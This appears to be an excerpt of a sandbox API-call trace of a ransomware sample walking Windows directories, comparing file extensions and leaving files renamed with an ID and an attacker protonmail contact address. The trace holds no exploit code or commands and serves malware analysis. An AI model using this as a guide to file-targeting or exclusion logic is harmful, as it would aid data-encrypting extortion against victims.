	[0167.228] lstrlenW (lpString=".ps") returned 3
	[0167.228] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.228] lstrlenW (lpString=".psb") returned 4
	[0167.228] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".psd") returned 4
	[0167.228] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".pst") returned 4
	[0167.228] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".ptx") returned 4
	[0167.228] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".pub") returned 4
	[0167.228] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".pwm") returned 4
	[0167.228] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".pxr") returned 4
	[0167.228] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".py") returned 3
	[0167.228] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.228] lstrlenW (lpString=".qt") returned 3
	[0167.229] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.229] lstrlenW (lpString=".r3d") returned 4
	[0167.229] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.229] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.229] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.229] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0167.229] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0167.229] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0167.229] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0167.229] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0167.229] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0167.229] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.230] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.230] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.230] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0167.230] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0167.230] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0167.230] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0167.230] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0167.231] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0167.231] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.231] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.231] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.231] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0167.231] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0167.231] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0167.232] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0167.232] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0167.233] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0167.233] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x87224f8c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87224f8c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87224f8c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="BOOTNXT.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="BOOTNX~1.HTM")) returned 1
	[0167.233] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x82a78572, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82a78572, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82c1b977, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20fc, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="BOOTSE~1.HTM")) returned 1
	[0167.233] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0167.233] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0167.234] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="ꃸg\x16")) returned 0xffffffff
	[0167.235] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0167.236] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0167.236] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0167.236] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0167.239] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0167.239] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0
	[0167.239] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0167.239] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0167.239] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xf8074550, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0167.239] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x87867261, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87867261, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0167.239] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0167.239] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x87867261, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87867261, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6abb98
	[0167.426] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x87867261, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87867261, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0167.440] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87224f8c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87224f8c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8724b37b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11104, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APPLIC~1.HTM")) returned 1
	[0167.440] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872715a0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x872715a0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872715a0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1110a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="HardwareEvents.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="HARDWA~1.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872715a0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x872715a0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872976f8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="INTERN~1.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872bda43, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x872bda43, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872bda43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1111a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Key Management Service.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="KEYMAN~1.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87330093, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87330093, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8735619c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~1.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873c8a5a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x873c8a5a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873c8a5a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11180, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~3.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735619c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8735619c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8788d396, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101172, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~2.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873eedf7, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x873eedf7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873eedf7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~4.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8762af06, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8762af06, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x877ce94c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI83CE~1.HTM")) returned 1
	[0167.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8775c205, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8775c205, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8775c205, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11156, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA635~1.HTM")) returned 1
	[0167.442] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8778251d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8778251d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8778251d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11154, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI960D~1.HTM")) returned 1
